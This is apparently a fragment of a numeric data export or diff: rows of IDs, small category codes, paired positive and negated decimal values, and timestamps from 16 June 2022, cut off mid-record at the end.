+14400,2,7223,14.09617266,-14.09617266,2022-06-16 10:45:05.083097+00 +13321,2,6891,9.09002249,-9.09002249,2022-06-16 10:37:14.624244+00 +15539,2,7419,8.610337221,-8.610337221,2022-06-16 10:53:14.436887+00 +24568,3,9087,13.42283274,-13.42283274,2022-06-16 11:44:05.099688+00 +14426,6,7198,13.14124966,-13.14124966,2022-06-16 10:45:11.145754+00 +18372,2,8030,10.04836209,-10.04836209,2022-06-16 11:11:04.695576+00 +12263,4,6699,5.64492532,-5.64492532,2022-06-16 10:30:20.236779+00 +12264,4,6683,6.644973628,-6.644973628,2022-06-16 10:30:20.240254+00 +12265,4,6411,15.23986718,-15.23986718,2022-06-16 10:30:20.2413+00 +12266,4,6475,15.18263558,-15.18263558,2022-06-16 10:30:20.242285+00 +12267,4,6539,15.12565139,-15.12565139,2022-06-16 10:30:20.24333+00 +12268,4,6603,15.06891446,-15.06891446,2022-06-16 10:30:20.244252+00 +12269,4,6667,15.01242461,-15.01242461,2022-06-16 10:30:20.245292+00 +12270,4,6715,5.423150016,-5.423150016,2022-06-16 10:30:20.246139+00 +21331,6,8639,10.59609441,-10.59609441,2022-06-16 11:28:33.704491+00 +28245,2,9535,5.795313527,-5.795313527,2022-06-16 11:57:05.509766+00 +19772,6,8317,5.275207234,-5.275207234,2022-06-16 11:19:04.972919+00 +12291,4,6675,11.40605376,-11.40605376,2022-06-16 10:30:27.151047+00 +12300,1,6505,13.8008577,-13.8008577,2022-06-16 10:30:37.720925+00 +12301,1,6481,13.84647067,-13.84647067,2022-06-16 10:30:37.721752+00 +45607,4,12184,8.400615333,-8.400615333,2022-06-16 13:26:53.876477+00 +19827,3,8303,17.81181929,-17.81181929,2022-06-16 11:19:30.09485+00 +12311,6,6751,13.71467957,-13.71467957,2022-06-16 10:30:38.481415+00 +52441,1,13536,4.43104235,-4.43104235,2022-06-16 14:04:59.843669+00 +14511,4,7072,7.015194749,-7.015194749,2022-06-16 10:45:52.244781+00 +12318,6,6766,16.81352384,-16.81352384,2022-06-16 10:30:38.879112+00 +15662,2,7469,9.094866443,-9.094866443,2022-06-16 10:54:19.434246+00 +12322,6,6767,16.70144297,-16.70144297,2022-06-16 10:30:38.964299+00 +52442,1,13528,6.308655004,-6.308655004,2022-06-16 14:04:59.847197+00 +15683,1,7257,12.07867125,-12.07867125,2022-06-16 10:54:28.835984+00 +12342,1,6696,20.03651068,-20.03651068,2022-06-16 10:30:49.71795+00 +15684,1,7467,5.395897105,-5.395897105,2022-06-16 10:54:28.839241+00 +15685,1,7483,5.266986845,-5.266986845,2022-06-16 10:54:28.840152+00 +15686,1,7281,12.14053337,-12.14053337,2022-06-16 10:54:28.841059+00 +13425,2,6922,11.0227411,-11.0227411,2022-06-16 10:38:07.471799+00 +15703,6,7472,3.203454276,-3.203454276,2022-06-16 10:54:34.60953+00 +42781,6,11840,4.236446728,-4.236446728,2022-06-16 13:11:24.362631+00 +12357,6,6699,8.057056743,-8.057056743,2022-06-16 10:30:52.560402+00 +22998,6,8895,9.795550283,-9.795550283,2022-06-16 11:36:41.167573+00 +15732,6,7534,16.90987626,-16.90987626,2022-06-16 10:54:41.72215+00 +14643,6,7262,13.01650382,-13.01650382,2022-06-16 10:46:48.246454+00 +13459,4,6904,10.30881254,-10.30881254,2022-06-16 10:38:19.746187+00 +12367,2,6704,3.375456302,-3.375456302,2022-06-16 10:31:04.474443+00 +13460,4,6923,15.17349284,-15.17349284,2022-06-16 10:38:19.749602+00 +13461,4,6955,5.217979803,-5.217979803,2022-06-16 10:38:19.750577+00 +12372,2,6720,6.861488355,-6.861488355,2022-06-16 10:31:04.592515+00 +13462,4,6939,6.2935167,-6.2935167,2022-06-16 10:38:19.751819+00 +12375,2,6750,11.94449887,-11.94449887,2022-06-16 10:31:04.654192+00 +13463,4,6971,5.083939717,-5.083939717,2022-06-16 10:38:19.752709+00 +13464,4,6963,12.61190283,-12.61190283,2022-06-16 10:38:19.753516+00 +15733,6,7535,16.90791847,-16.90791847,2022-06-16 10:54:41.723352+00 +13473,6,7021,6.760695245,-6.760695245,2022-06-16 10:38:33.02051+00 +17248,2,7838,10.30347339,-10.30347339,2022-06-16 11:05:04.693267+00 +14663,6,7295,14.1460395,-14.1460395,2022-06-16 10:46:48.925831+00 +19942,6,8381,5.23696409,-5.23696409,2022-06-16 11:20:16.784174+00 +39978,4,11232,6.044148562,-6.044148562,2022-06-16 12:58:47.666266+00 +12394,2,6774,15.05568079,-15.05568079,2022-06-16 10:31:05.131691+00 +13496,6,7007,13.22466907,-13.22466907,2022-06-16 10:38:44.4043+00 +12397,2,6767,14.9069541,-14.9069541,2022-06-16 10:31:05.190936+00 +19977,6,8351,13.57573305,-13.57573305,2022-06-16 11:20:24.701671+00 +13502,6,6960,3.471087183,-3.471087183,2022-06-16 10:38:44.606165+00 +13505,6,7038,14.89082161,-14.89082161,2022-06-16 10:38:44.686911+00 +18626,6,8127,12.38393181,-12.38393181,2022-06-16 11:12:17.344166+00 +24300,1,9010,18.79318341,-18.79318341,2022-06-16 11:42:59.100582+00 +22597,2,8798,8.857111392,-8.857111392,2022-06-16 11:35:04.864648+00 +12721,2,6763,9.240332313,-9.240332313,2022-06-16 10:33:14.428062+00 +13900,4,6808,11.27128037,-11.27128037,2022-06-16 10:41:21.389333+00 +11449,6,6523,7.946765959,-7.946765959,2022-06-16 10:25:01.028595+00 +11450,1,6589,10.67661855,-10.67661855,2022-06-16 10:25:01.661655+00 +11716,1,6547,13.14627238,-13.14627238,2022-06-16 10:26:49.66598+00 +11717,1,6563,18.40844969,-18.40844969,2022-06-16 10:26:49.669485+00 +11454,3,6448,6.474285263,-6.474285263,2022-06-16 10:25:03.95951+00 +11455,3,6512,6.437411503,-6.437411503,2022-06-16 10:25:03.963071+00 +11456,3,6576,6.400788922,-6.400788922,2022-06-16 10:25:03.964173+00 +11750,2,6623,12.5300867,-12.5300867,2022-06-16 10:27:04.719254+00 +24301,1,9002,13.96040968,-13.96040968,2022-06-16 11:42:59.104608+00 +13951,3,7104,10.49700522,-10.49700522,2022-06-16 10:42:00.013154+00 +11461,2,6512,3.627417899,-3.627417899,2022-06-16 10:25:04.46366+00 +11789,2,6571,9.447345286,-9.447345286,2022-06-16 10:27:14.433847+00 +15175,1,7153,12.44629605,-12.44629605,2022-06-16 10:50:46.861658+00 +15176,1,7161,12.21397526,-12.21397526,2022-06-16 10:50:46.865218+00 +15177,1,7129,12.31467386,-12.31467386,2022-06-16 10:50:46.866134+00 +11466,2,6528,6.978315394,-6.978315394,2022-06-16 10:25:04.577091+00 +11467,2,6574,15.8262357,-15.8262357,2022-06-16 10:25:04.58077+00 +12841,4,6781,8.017096097,-8.017096097,2022-06-16 10:34:08.960312+00 +11469,2,6582,15.44227472,-15.44227472,2022-06-16 10:25:04.610545+00 +11470,2,6575,15.81160796,-15.81160796,2022-06-16 10:25:04.615008+00 +12842,4,6845,7.987377963,-7.987377963,2022-06-16 10:34:08.963824+00 +12843,4,6765,7.991309547,-7.991309547,2022-06-16 10:34:08.96471+00 +12844,4,6829,7.961762505,-7.961762505,2022-06-16 10:34:08.965606+00 +12880,2,6829,10.5377959,-10.5377959,2022-06-16 10:34:19.439541+00 +11475,2,6583,15.44083624,-15.44083624,2022-06-16 10:25:04.72865+00 +15178,1,7145,12.16821081,-12.16821081,2022-06-16 10:50:46.867034+00 +12907,6,6843,7.745187361,-7.745187361,2022-06-16 10:34:24.768332+00 +15189,1,7391,8.668997143,-8.668997143,2022-06-16 10:50:52.805813+00 +15190,1,7422,9.636533449,-9.636533449,2022-06-16 10:50:52.807161+00 +14110,2,7088,3.043539101,-3.043539101,2022-06-16 10:42:59.745235+00 +15191,1,7390,8.815900185,-8.815900185,2022-06-16 10:50:52.808071+00 +14131,2,7158,14.19878369,-14.19878369,2022-06-16 10:43:04.821755+00 +15192,1,7423,9.43504552,-9.43504552,2022-06-16 10:50:52.808756+00 +14153,2,7146,11.12370812,-11.12370812,2022-06-16 10:43:08.973021+00 +11485,2,6558,12.5817346,-12.5817346,2022-06-16 10:25:04.985444+00 +13045,6,6895,16.40434642,-16.40434642,2022-06-16 10:35:30.992711+00 +15193,1,7414,11.73032039,-11.73032039,2022-06-16 10:50:52.809445+00 +13069,4,6712,10.39710489,-10.39710489,2022-06-16 10:35:38.07529+00 +13072,3,6592,10.98283348,-10.98283348,2022-06-16 10:35:52.766753+00 +13073,3,6656,10.92038455,-10.92038455,2022-06-16 10:35:52.77006+00 +11491,2,6559,12.7068213,-12.7068213,2022-06-16 10:25:05.144437+00 +13074,3,6720,10.85840607,-10.85840607,2022-06-16 10:35:52.770976+00 +13075,3,6784,10.79689432,-10.79689432,2022-06-16 10:35:52.771784+00 +13076,3,6848,10.73584563,-10.73584563,2022-06-16 10:35:52.7726+00 +13077,3,6912,10.67525632,-10.67525632,2022-06-16 10:35:52.773378+00 +12136,2,6651,9.168124601,-9.168124601,2022-06-16 10:29:14.547599+00 +11497,2,6591,13.97012727,-13.97012727,2022-06-16 10:25:05.296062+00 +15194,1,7415,11.69684346,-11.69684346,2022-06-16 10:50:52.810124+00 +24302,1,9018,19.76230145,-19.76230145,2022-06-16 11:42:59.106129+00 +24303,1,8986,19.64339699,-19.64339699,2022-06-16 11:42:59.107123+00 +16704,6,7725,5.701153607,-5.701153607,2022-06-16 11:01:17.431064+00 +16720,4,7416,9.897987204,-9.897987204,2022-06-16 11:01:22.38833+00 +16732,4,7544,9.83335159,-9.83335159,2022-06-16 11:01:36.746318+00 +21204,3,8638,14.41597985,-14.41597985,2022-06-16 11:28:08.396462+00 +36972,6,10899,13.75435506,-13.75435506,2022-06-16 12:42:53.087341+00 +15392,6,7424,6.893528556,-6.893528556,2022-06-16 10:52:12.549458+00 +14319,2,7149,9.699686879,-9.699686879,2022-06-16 10:44:19.422635+00 +16806,6,7744,6.843580578,-6.843580578,2022-06-16 11:02:14.633429+00 +15434,4,7379,10.6489128,-10.6489128,2022-06-16 10:52:26.90213+00 +13242,2,6912,6.617536969,-6.617536969,2022-06-16 10:37:04.578087+00 +11511,1,6575,13.32881283,-13.32881283,2022-06-16 10:25:13.661879+00 +16818,4,7731,12.08070965,-12.08070965,2022-06-16 11:02:19.424598+00 +16819,4,7723,4.403893049,-4.403893049,2022-06-16 11:02:19.425749+00 +16820,4,7739,4.296910614,-4.296910614,2022-06-16 11:02:19.426645+00 +11516,2,6507,9.431315269,-9.431315269,2022-06-16 10:25:14.4329+00 +15506,2,7455,10.33487233,-10.33487233,2022-06-16 10:53:04.876691+00 +16821,4,7691,15.01153329,-15.01153329,2022-06-16 11:02:19.427514+00 +16822,4,7707,5.63876755,-5.63876755,2022-06-16 11:02:19.428408+00 +37002,1,10906,14.74915227,-14.74915227,2022-06-16 12:43:02.409896+00 +11521,2,6523,9.21947727,-9.21947727,2022-06-16 10:25:14.537262+00 +21287,2,8573,7.287932181,-7.287932181,2022-06-16 11:28:24.421118+00 +12294,1,6765,10.28098332,-10.28098332,2022-06-16 10:30:31.716553+00 +12295,1,6781,10.26436068,-10.26436068,2022-06-16 10:30:31.719994+00 +16863,4,7699,10.30770989,-10.30770989,2022-06-16 11:02:26.827194+00 +12305,6,6750,13.64739203,-13.64739203,2022-06-16 10:30:38.330012+00 +19687,6,8287,13.61345658,-13.61345658,2022-06-16 11:18:47.274971+00 +37003,1,10938,14.83356622,-14.83356622,2022-06-16 12:43:02.411213+00 +37004,1,10922,6.65432684,-6.65432684,2022-06-16 12:43:02.412143+00 +37005,1,10914,14.70807929,-14.70807929,2022-06-16 12:43:02.413014+00 +21408,2,8639,7.30618781,-7.30618781,2022-06-16 11:29:05.363364+00 +11532,1,6520,13.66921282,-13.66921282,2022-06-16 10:25:22.660473+00 +19800,2,8251,7.743767775,-7.743767775,2022-06-16 11:19:14.534861+00 +18402,2,8063,8.692274311,-8.692274311,2022-06-16 11:11:05.234183+00 +12327,6,6782,15.3825193,-15.3825193,2022-06-16 10:30:39.178547+00 +14552,4,7216,1.525480406,-1.525480406,2022-06-16 10:46:06.620504+00 +14553,4,7232,3.475148844,-3.475148844,2022-06-16 10:46:06.624035+00 +22861,6,8832,5.98245062,-5.98245062,2022-06-16 11:36:08.391145+00 +28246,3,9328,2.670454588,0,2022-06-16 11:57:07.817781+00 +28247,3,9392,2.668347002,0,2022-06-16 11:57:07.821499+00 +14597,6,7227,7.152938298,-7.152938298,2022-06-16 10:46:16.821267+00 +14607,2,7229,9.617748926,-9.617748926,2022-06-16 10:46:19.565841+00 +28248,3,9456,2.666243334,0,2022-06-16 11:57:07.822339+00 +28249,3,9520,2.664143573,0,2022-06-16 11:57:07.823206+00 +14640,1,7232,4.475388365,-4.475388365,2022-06-16 10:46:46.760842+00 +39601,1,11388,15.64483797,-15.64483797,2022-06-16 12:56:59.48861+00 +12362,6,6715,7.870968861,-7.870968861,2022-06-16 10:30:52.775984+00 +13426,4,6893,7.983277193,-7.983277193,2022-06-16 10:38:08.504275+00 +13427,4,6957,7.953468563,-7.953468563,2022-06-16 10:38:08.507671+00 +13428,4,6909,7.962547328,-7.962547328,2022-06-16 10:38:08.508616+00 +13429,4,6973,7.932886475,-7.932886475,2022-06-16 10:38:08.509718+00 +11552,7,6384,10.58776567,-10.58776567,2022-06-16 10:25:47.161+00 +11553,7,6448,10.49372333,-10.49372333,2022-06-16 10:25:47.16432+00 +11554,7,6512,10.40055567,-10.40055567,2022-06-16 10:25:47.165174+00 +11555,7,6576,10.30825115,-10.30825115,2022-06-16 10:25:47.165979+00 +15799,2,7550,10.64216839,-10.64216839,2022-06-16 10:55:04.659165+00 +18533,3,8048,3.906403054,-3.906403054,2022-06-16 11:12:03.907556+00 +20003,6,8383,11.49466149,-11.49466149,2022-06-16 11:20:25.568923+00 +12381,2,6751,12.01114013,-12.01114013,2022-06-16 10:31:04.80269+00 +14675,2,7274,11.01248745,-11.01248745,2022-06-16 10:46:53.468196+00 +28302,1,9464,9.281804698,-9.281804698,2022-06-16 11:57:23.158729+00 +13465,2,7018,11.3241009,-11.3241009,2022-06-16 10:38:22.364477+00 +12388,2,6766,15.01467633,-15.01467633,2022-06-16 10:31:04.982974+00 +23068,2,8879,8.876253255,-8.876253255,2022-06-16 11:37:04.956644+00 +14701,2,7287,14.07622393,-14.07622393,2022-06-16 10:47:04.804068+00 +13478,6,7037,6.754837169,-6.754837169,2022-06-16 10:38:35.019105+00 +28303,1,9440,6.727897719,-6.727897719,2022-06-16 11:57:23.162015+00 +19368,2,8238,10.80354433,-10.80354433,2022-06-16 11:17:04.858383+00 +12403,2,6775,15.05757539,-15.05757539,2022-06-16 10:31:05.334817+00 +16560,6,7680,6.852534067,-6.852534067,2022-06-16 11:00:10.94743+00 +13901,1,6808,13.78816808,-13.78816808,2022-06-16 10:41:22.775346+00 +13926,6,7070,13.06398644,-13.06398644,2022-06-16 10:41:57.127452+00 +20981,6,8543,13.211509,-13.211509,2022-06-16 11:26:55.635211+00 +13952,3,6846,18.5729682,-18.5729682,2022-06-16 10:42:03.302542+00 +12409,2,6782,13.5883732,-13.5883732,2022-06-16 10:31:05.477813+00 +13953,3,6910,18.47048298,-18.47048298,2022-06-16 10:42:03.306249+00 +13954,3,6974,18.36847017,-18.36847017,2022-06-16 10:42:03.307296+00 +12845,4,6830,13.95830833,-13.95830833,2022-06-16 10:34:10.642276+00 +12846,4,6895,13.6912169,-13.6912169,2022-06-16 10:34:10.645659+00 +12847,4,6814,10.93531322,-10.93531322,2022-06-16 10:34:10.646526+00 +12415,2,6783,13.17434524,-13.17434524,2022-06-16 10:31:05.598059+00 +12848,4,6902,14.09204258,-14.09204258,2022-06-16 10:34:10.647571+00 +12417,2,6758,17.62277811,-17.62277811,2022-06-16 10:31:05.63131+00 +12418,2,6759,17.73182627,-17.73182627,2022-06-16 10:31:05.635828+00 +12849,4,6903,13.98675134,-13.98675134,2022-06-16 10:34:10.648485+00 +12850,4,6910,12.55004915,-12.55004915,2022-06-16 10:34:10.649267+00 +12851,4,6847,12.07914612,-12.07914612,2022-06-16 10:34:10.650061+00 +12852,4,6911,12.02587464,-12.02587464,2022-06-16 10:34:10.650807+00 +12423,2,6699,9.308596392,-9.308596392,2022-06-16 10:31:14.424531+00 +13955,3,7038,18.26693414,-18.26693414,2022-06-16 10:42:03.308217+00 +12908,4,6803,11.25700464,-11.25700464,2022-06-16 10:34:27.778303+00 +21012,1,8249,10.44937467,-10.44937467,2022-06-16 11:27:02.02086+00 +21013,1,8217,10.54473629,-10.54473629,2022-06-16 11:27:02.022446+00 +12428,2,6715,9.100973176,-9.100973176,2022-06-16 10:31:14.547463+00 +12429,2,6778,13.96328696,-13.96328696,2022-06-16 10:31:16.174549+00 +12960,2,6879,11.51375742,-11.51375742,2022-06-16 10:35:04.943297+00 +14004,4,7032,10.23701413,-10.23701413,2022-06-16 10:42:05.669351+00 +12978,2,6903,14.65038428,-14.65038428,2022-06-16 10:35:05.374516+00 +21014,1,8241,10.60533834,-10.60533834,2022-06-16 11:27:02.023357+00 +12998,2,6821,19.83901346,-19.83901346,2022-06-16 10:35:14.571316+00 +14056,2,7085,9.849640119,-9.849640119,2022-06-16 10:42:19.436133+00 +15278,2,7355,8.658250622,-8.658250622,2022-06-16 10:51:14.554172+00 +15300,6,7391,13.4896214,-13.4896214,2022-06-16 10:51:38.246011+00 +16733,2,7722,10.57498024,-10.57498024,2022-06-16 11:01:41.760473+00 +21015,1,8233,10.39745242,-10.39745242,2022-06-16 11:27:02.02424+00 +13078,4,6840,10.32740548,-10.32740548,2022-06-16 10:35:56.51092+00 +24304,4,8856,9.57309502,-9.57309502,2022-06-16 11:43:02.245011+00 +21091,2,8491,7.595060076,-7.595060076,2022-06-16 11:27:14.483828+00 +22599,2,8815,9.040796743,-9.040796743,2022-06-16 11:35:04.892994+00 +13123,4,6912,3.75076409,-3.75076409,2022-06-16 10:36:06.551092+00 +13124,4,6896,1.668232549,-1.668232549,2022-06-16 10:36:06.556905+00 +39602,1,11356,15.60920745,-15.60920745,2022-06-16 12:56:59.492289+00 +15445,1,7486,9.286296228,-9.286296228,2022-06-16 10:52:43.831756+00 +15446,1,7487,9.064766871,-9.064766871,2022-06-16 10:52:43.835165+00 +15447,1,7455,8.749787291,-8.749787291,2022-06-16 10:52:43.836059+00 +13184,2,6893,10.39301234,-10.39301234,2022-06-16 10:36:19.438131+00 +13193,1,6896,2.336520934,-2.336520934,2022-06-16 10:36:22.702055+00 +13203,6,6912,7.392563496,-7.392563496,2022-06-16 10:36:23.21252+00 +15448,1,7454,8.870585875,-8.870585875,2022-06-16 10:52:43.836932+00 +15449,1,7479,11.59050557,-11.59050557,2022-06-16 10:52:43.83774+00 +12455,3,6768,5.966043941,-5.966043941,2022-06-16 10:31:41.90748+00 +12456,1,6712,13.4206157,-13.4206157,2022-06-16 10:31:43.719263+00 +14322,4,7131,6.096938046,-6.096938046,2022-06-16 10:44:20.534962+00 +14323,4,7147,4.955654267,-4.955654267,2022-06-16 10:44:20.535616+00 +14324,4,7163,4.834357212,-4.834357212,2022-06-16 10:44:20.536345+00 +14344,2,7165,9.720507311,-9.720507311,2022-06-16 10:44:24.44069+00 +14361,6,7229,6.48290779,-6.48290779,2022-06-16 10:44:30.34529+00 +15450,1,7478,11.62329049,-11.62329049,2022-06-16 10:52:43.838553+00 +22639,3,8832,8.482265746,-8.482265746,2022-06-16 11:35:15.436378+00 +13290,6,6943,13.34827922,-13.34827922,2022-06-16 10:37:07.316075+00 +13298,1,6967,12.51702283,-12.51702283,2022-06-16 10:37:07.720894+00 +13299,1,6966,12.56573836,-12.56573836,2022-06-16 10:37:07.723942+00 +13300,1,6943,9.395049668,-9.395049668,2022-06-16 10:37:07.724819+00 +39603,1,11372,15.57212832,-15.57212832,2022-06-16 12:56:59.493159+00 +13316,2,6907,8.919687753,-8.919687753,2022-06-16 10:37:14.517697+00 +26438,1,9248,6.829591346,-6.829591346,2022-06-16 11:51:08.108021+00 +16968,2,7807,9.556225118,-9.556225118,2022-06-16 11:03:05.721964+00 +21289,6,8613,14.71860865,-14.71860865,2022-06-16 11:28:24.635481+00 +14453,2,7147,8.865670122,-8.865670122,2022-06-16 10:45:14.420847+00 +16997,3,7742,16.15908379,-16.15908379,2022-06-16 11:03:12.493049+00 +12475,6,6784,7.493912705,-7.493912705,2022-06-16 10:32:01.953911+00 +15574,3,7351,20.21630999,-20.21630999,2022-06-16 10:53:36.445008+00 +15575,3,7415,20.11177285,-20.11177285,2022-06-16 10:53:36.448383+00 +15576,3,7479,20.00757541,-20.00757541,2022-06-16 10:53:36.449253+00 +22737,3,8829,9.929573133,-9.929573133,2022-06-16 11:36:03.617026+00 +14513,4,7136,6.994887228,-6.994887228,2022-06-16 10:46:01.02244+00 +30173,6,9837,3.076698618,-3.076698618,2022-06-16 12:06:28.897389+00 +13384,3,6976,10.70417719,-10.70417719,2022-06-16 10:37:56.986155+00 +37124,7,10922,7.96893305,-7.96893305,2022-06-16 12:43:27.519784+00 +12484,6,6779,7.817677317,-7.817677317,2022-06-16 10:32:03.555988+00 +18443,3,7981,11.11913557,-11.11913557,2022-06-16 11:11:19.566856+00 +14554,1,7293,9.338095104,-9.338095104,2022-06-16 10:46:07.783605+00 +14555,1,7277,9.283962626,-9.283962626,2022-06-16 10:46:07.787538+00 +18451,3,7997,11.35425926,-11.35425926,2022-06-16 11:11:20.394462+00 +14581,6,7203,20.67918928,-20.67918928,2022-06-16 10:46:16.389655+00 +39661,4,11369,13.01960167,-13.01960167,2022-06-16 12:57:09.110353+00 +13430,4,7038,12.13168928,-12.13168928,2022-06-16 10:38:10.82018+00 +13431,4,7039,11.69660186,-11.69660186,2022-06-16 10:38:10.823442+00 +13432,4,7006,10.48361999,-10.48361999,2022-06-16 10:38:10.82426+00 +13433,4,6943,10.53103476,-10.53103476,2022-06-16 10:38:10.825075+00 +13434,4,7007,10.48571243,-10.48571243,2022-06-16 10:38:10.825896+00 +13435,4,7030,13.84664462,-13.84664462,2022-06-16 10:38:10.826672+00 +13436,4,7031,13.77730053,-13.77730053,2022-06-16 10:38:10.827474+00 +14608,4,7219,12.96708591,-12.96708591,2022-06-16 10:46:19.873011+00 +14609,4,7211,4.979165618,-4.979165618,2022-06-16 10:46:19.876784+00 +14610,4,7195,6.173165049,-6.173165049,2022-06-16 10:46:19.877803+00 +14611,4,7179,15.48116966,-15.48116966,2022-06-16 10:46:19.878736+00 +14613,1,7192,13.35308449,-13.35308449,2022-06-16 10:46:22.750869+00 +13466,4,6931,11.11250799,-11.11250799,2022-06-16 10:38:27.653808+00 +14614,1,7216,2.020486207,-2.020486207,2022-06-16 10:46:22.752072+00 +14615,1,7200,8.76148928,-8.76148928,2022-06-16 10:46:22.752838+00 +13479,1,6971,5.999105032,-5.999105032,2022-06-16 10:38:40.720627+00 +13480,1,6963,14.19463505,-14.19463505,2022-06-16 10:38:40.724276+00 +13481,1,6939,7.334459639,-7.334459639,2022-06-16 10:38:40.725173+00 +13482,1,6955,6.107752328,-6.107752328,2022-06-16 10:38:40.725985+00 +14616,1,7208,19.24099061,-19.24099061,2022-06-16 10:46:22.753605+00 +13490,6,7006,13.15400563,-13.15400563,2022-06-16 10:38:44.26418+00 +28250,4,9173,14.67266156,-14.67266156,2022-06-16 11:57:10.104368+00 +28251,4,9237,14.61190595,-14.61190595,2022-06-16 11:57:10.10783+00 +28252,4,9301,14.55145035,-14.55145035,2022-06-16 11:57:10.108698+00 +17191,7,7664,9.071691392,-9.071691392,2022-06-16 11:04:36.84618+00 +17192,7,7728,8.957394383,-8.957394383,2022-06-16 11:04:36.849576+00 +17193,7,7792,8.843595366,-8.843595366,2022-06-16 11:04:36.850398+00 +14674,6,7293,6.416862922,-6.416862922,2022-06-16 10:46:53.084417+00 +14685,2,7216,2.980961371,-2.980961371,2022-06-16 10:47:04.447913+00 +17194,7,7856,8.730235905,-8.730235905,2022-06-16 11:04:36.851227+00 +13516,6,6976,7.323780646,-7.323780646,2022-06-16 10:38:44.822754+00 +22555,6,8814,12.88297022,-12.88297022,2022-06-16 11:35:03.052476+00 +32139,6,10107,4.544297093,-4.544297093,2022-06-16 12:17:02.184341+00 +15138,2,7341,9.38058738,-9.38058738,2022-06-16 10:50:19.439+00 +39604,1,11186,13.7873387,-13.7873387,2022-06-16 12:57:02.489909+00 +16645,2,7727,12.60516149,-12.60516149,2022-06-16 11:01:05.045554+00 +15224,2,7390,10.64284706,-10.64284706,2022-06-16 10:51:04.693064+00 +39605,1,11122,13.72830002,-13.72830002,2022-06-16 12:57:02.493435+00 +14027,4,7085,7.765674128,-7.765674128,2022-06-16 10:42:09.594303+00 +12853,1,6893,10.06232738,-10.06232738,2022-06-16 10:34:13.720384+00 +12854,1,6909,10.04632717,-10.04632717,2022-06-16 10:34:13.723824+00 +12532,4,6784,3.847903434,-3.847903434,2022-06-16 10:32:07.170847+00 +12533,4,6768,1.78488958,-1.78488958,2022-06-16 10:32:07.175741+00 +12534,4,6815,11.03589861,-11.03589861,2022-06-16 10:32:10.000607+00 +14028,4,7101,7.773127359,-7.773127359,2022-06-16 10:42:09.598976+00 +12570,6,6846,15.30280162,-15.30280162,2022-06-16 10:32:16.047216+00 +12909,1,6848,5.253389147,-5.253389147,2022-06-16 10:34:28.691299+00 +12910,1,6816,9.214589165,-9.214589165,2022-06-16 10:34:28.692631+00 +14057,1,7083,5.907764273,-5.907764273,2022-06-16 10:42:19.775798+00 +12942,2,6878,11.47491665,-11.47491665,2022-06-16 10:35:04.621201+00 +14058,1,7067,7.162193227,-7.162193227,2022-06-16 10:42:19.779288+00 +14059,1,7099,5.75826985,-5.75826985,2022-06-16 10:42:19.780156+00 +14060,1,7091,13.9378531,-13.9378531,2022-06-16 10:42:19.78097+00 +14093,6,7083,7.741298989,-7.741298989,2022-06-16 10:42:38.526698+00 +16677,6,7711,13.89919395,-13.89919395,2022-06-16 11:01:09.679489+00 +13032,6,6879,13.48265925,-13.48265925,2022-06-16 10:35:30.427044+00 +39606,1,11250,13.66957834,-13.66957834,2022-06-16 12:57:02.494304+00 +13047,6,6910,15.09772439,-15.09772439,2022-06-16 10:35:31.15138+00 +30288,6,9838,10.05411477,-10.05411477,2022-06-16 12:07:22.809237+00 +28253,4,9365,14.49129421,-14.49129421,2022-06-16 11:57:10.109529+00 +21292,6,8621,4.613148413,-4.613148413,2022-06-16 11:28:26.513788+00 +16779,4,7744,3.207961027,-3.207961027,2022-06-16 11:02:05.790841+00 +14223,3,7152,5.253510697,-5.253510697,2022-06-16 10:43:34.966808+00 +14234,1,7096,12.55077023,-12.55077023,2022-06-16 10:43:43.752067+00 +13125,7,6890,14.16084463,-14.16084463,2022-06-16 10:36:07.289504+00 +16780,4,7728,1.274608244,-1.274608244,2022-06-16 11:02:05.794849+00 +28286,3,9216,7.831676491,-7.831676491,2022-06-16 11:57:18.62759+00 +15451,1,7400,19.05227055,-19.05227055,2022-06-16 10:52:49.833803+00 +13185,1,6880,9.264793983,-9.264793983,2022-06-16 10:36:19.728564+00 +13186,1,6912,5.120272209,-5.120272209,2022-06-16 10:36:19.731936+00 +15452,1,7384,12.87903775,-12.87903775,2022-06-16 10:52:49.837315+00 +15453,1,7392,8.442440516,-8.442440516,2022-06-16 10:52:49.838175+00 +15470,6,7454,13.53842391,-13.53842391,2022-06-16 10:53:04.144603+00 +24615,6,9133,3.848003379,-3.848003379,2022-06-16 11:44:11.322198+00 +14362,1,7144,19.39723982,-19.39723982,2022-06-16 10:44:34.786058+00 +14363,1,7128,13.43569717,-13.43569717,2022-06-16 10:44:34.790592+00 +18261,3,7983,18.55124747,-18.55124747,2022-06-16 11:10:18.35431+00 +19719,6,8240,2.19305356,-2.19305356,2022-06-16 11:18:50.245418+00 +21376,2,8560,1.518890514,0,2022-06-16 11:29:04.608525+00 +16924,2,7744,6.215679465,-6.215679465,2022-06-16 11:03:04.586193+00 +19746,2,8240,1.91174306,-1.91174306,2022-06-16 11:19:04.483809+00 +14442,6,7230,14.35574153,-14.35574153,2022-06-16 10:45:11.759874+00 +16947,2,7799,12.82784341,-12.82784341,2022-06-16 11:03:05.16887+00 +15592,4,7320,10.83871942,-10.83871942,2022-06-16 10:54:00.530804+00 +14473,6,7147,7.403443506,-7.403443506,2022-06-16 10:45:15.431192+00 +18353,6,8061,5.396633411,-5.396633411,2022-06-16 11:10:53.079664+00 +14494,1,7160,12.43950988,-12.43950988,2022-06-16 10:45:37.749731+00 +16970,2,7754,9.982070024,-9.982070024,2022-06-16 11:03:06.660342+00 +28287,3,9280,7.787344898,-7.787344898,2022-06-16 11:57:18.62882+00 +19775,2,8287,9.63382238,-9.63382238,2022-06-16 11:19:05.052708+00 +28288,3,9344,7.743340634,-7.743340634,2022-06-16 11:57:18.629692+00 +15689,3,7486,17.07456228,-17.07456228,2022-06-16 10:54:33.852346+00 +14556,4,7287,13.41442747,-13.41442747,2022-06-16 10:46:09.416921+00 +15690,3,7550,16.97700355,-16.97700355,2022-06-16 10:54:33.855533+00 +17056,3,7472,4.575177212,-4.575177212,2022-06-16 11:03:46.714938+00 +17057,3,7536,4.5458512,-4.5458512,2022-06-16 11:03:46.718212+00 +17058,3,7600,4.516640751,-4.516640751,2022-06-16 11:03:46.719056+00 +14612,4,7227,4.838377488,-4.838377488,2022-06-16 10:46:21.159246+00 +15749,3,7213,12.78311952,-12.78311952,2022-06-16 10:54:52.097149+00 +14627,6,7232,7.047149065,-7.047149065,2022-06-16 10:46:28.838907+00 +17059,3,7664,4.487542729,-4.487542729,2022-06-16 11:03:46.719903+00 +17060,3,7728,4.458553952,-4.458553952,2022-06-16 11:03:46.720665+00 +17061,3,7792,4.429671179,-4.429671179,2022-06-16 11:03:46.721454+00 +24700,6,9083,5.883345197,-5.883345197,2022-06-16 